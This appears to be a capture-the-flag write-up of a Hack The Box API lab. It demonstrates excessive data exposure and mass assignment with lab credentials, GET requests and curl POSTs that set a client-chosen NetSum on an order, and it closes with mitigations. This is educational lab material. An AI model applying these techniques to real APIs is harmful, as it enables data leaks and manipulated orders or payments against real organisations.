Introduction

When you're testing APIs, most of the time the vulnerabilities are not "fancy exploits" — they're simple mistakes.

In this lab, we're going to exploit two very common issues:

• The API returns too much data
• The API trusts whatever we send

And honestly… that's enough to break it.

Objective

We have two challenges:

1. Find a flag using data exposure
2. Find another flag using mass assignment

We're not guessing — we're just observing how the API behaves.

Vulnerability Overview

Before jumping in, quick context:

• Excessive Data Exposure → API gives you more data than you should see
• Mass Assignment → API lets you control fields you shouldn't control

Both are part of OWASP API Top 10, and both are very real.

Attack Surface Analysis

Authentication uses JWT, and everything depends on roles.

So first rule:

Always check what your user is allowed to do.

Exploitation Walkthrough

🔴 Challenge 1 — Data Exposure

Step 1: Log in

User: htbpentester5@hackthebox.com  
Password: HTBPentester5

Once logged in, we get a JWT.

Step 2: Check what we can access

GET /api/v1/roles/current-user

Response:

{
  "roles": [
    "Suppliers_Get",
    "Suppliers_GetAll",
    "SupplierCompanies_Get",
    "SupplierCompanies_GetAll"
  ]
}

At this point, I'm thinking:

"Okay, I can see supplier data… let's try it."

Step 3: Pull supplier data

GET /api/v1/supplier-companie

Response (shortened):

{
  "supplierCompanies": [
    {
      "id": "f9e58492-b594-4d82-a4de-16e4f230fce1",
      "name": "Global Solutions",
      "email": "supplier@globalsolutions.com"
    },
    {
      "id": "058ac1e5-3807-47f3-b546-cc069366f8f9",
      "name": "Prime Enterprises",
      "email": "supplier@primeenterprises.com"
    },
    {
      "id": "ccb287ef-83a6-423b-942a-089f87fa144c",
      "name": "HTB Academy",
      "email": "HTB{flag}"
    }
  ]
}

Finding the Exploit

Nothing fancy here.

The API just… gives everything.

No filtering No masking No restrictions

And the flag is literally sitting inside the email field.

Retrieving the Flag

HTB{flag}

That's it.

🔴 Challenge 2 — Mass Assignment

Step 1: Log in

User: htbpentester7@hackthebox.com  
Password: HTBPentester7

Step 2: Check roles again

GET /api/v1/roles/current-user
{
  "roles": [
    "CustomerOrders_GetByID",
    "CustomerOrders_Create",
    "CustomerOrderItems_Get",
    "CustomerOrderItems_Create"
  ]
}

So we can:

• Create orders ✅
• Add items ✅
• But we don't know any order IDs

Step 3: Create our own order

curl -X POST \
http://94.237.52.208:45531/api/v1/customers/orders \
-H "Authorization: Bearer <JWT>" \
-H "Content-Type: application/json" \
-d '{
  "Date": "2026-01-26"
}'

Response:

{
  "id": "80360c7e-dbac-4b11-b643-83a2d76ae7d4"
}

Perfect. Now we control an order.

Step 4: Try adding an item (fails)

POST /api/v1/customers/orders/items

Response:

{
  "SuccessStatus": false,
  "Message": "An error has occurred"
}

This tells us:

Something is missing (probably ProductID)

Step 5: Look for products

GET /api/v1/products

This endpoint is open.

We find:

a923b706-0aaa-49b2-ad8d-21c97ff6fac7

Now we have everything we need.

Step 6: Send the full request

curl -X POST \
http://94.237.52.208:45531/api/v1/customers/orders/items \
-H "Authorization: Bearer <JWT>" \
-H "Content-Type: application/json" \
-d '{
  "OrderID": "80360c7e-dbac-4b11-b643-83a2d76ae7d4",
  "OrderItems": [
    {
      "ProductID": "a923b706-0aaa-49b2-ad8d-21c97ff6fac7",
      "Quantity": 1,
      "NetSum": 1
    }
  ]
}'

Response:

{
  "SuccessStatus": true,
  "Message": "HTB{flag}"
}

Finding the Exploit

Here's the problem:

The API lets us control:

• OrderID
• ProductID
• Quantity
• NetSum

No validation No restrictions

That's mass assignment.

Retrieving the Flag

HTB{flag}

Root Cause Analysis

• API returns too much data (Challenge 1)
• API trusts user input completely (Challenge 2)

Both are design problems, not coding mistakes.

Security Impact

In real systems, this could mean:

• Data leaks (customers, suppliers)
• Fake or manipulated orders
• Financial abuse

Mitigation & Defense

• Only return required fields
• Validate all inputs server-side
• Restrict allowed parameters
• Never trust client input

Key Takeaways

• Always check what the API gives you
• If something is exposed — use it
• If input is accepted — try controlling it
• APIs fail more from logic issues than technical one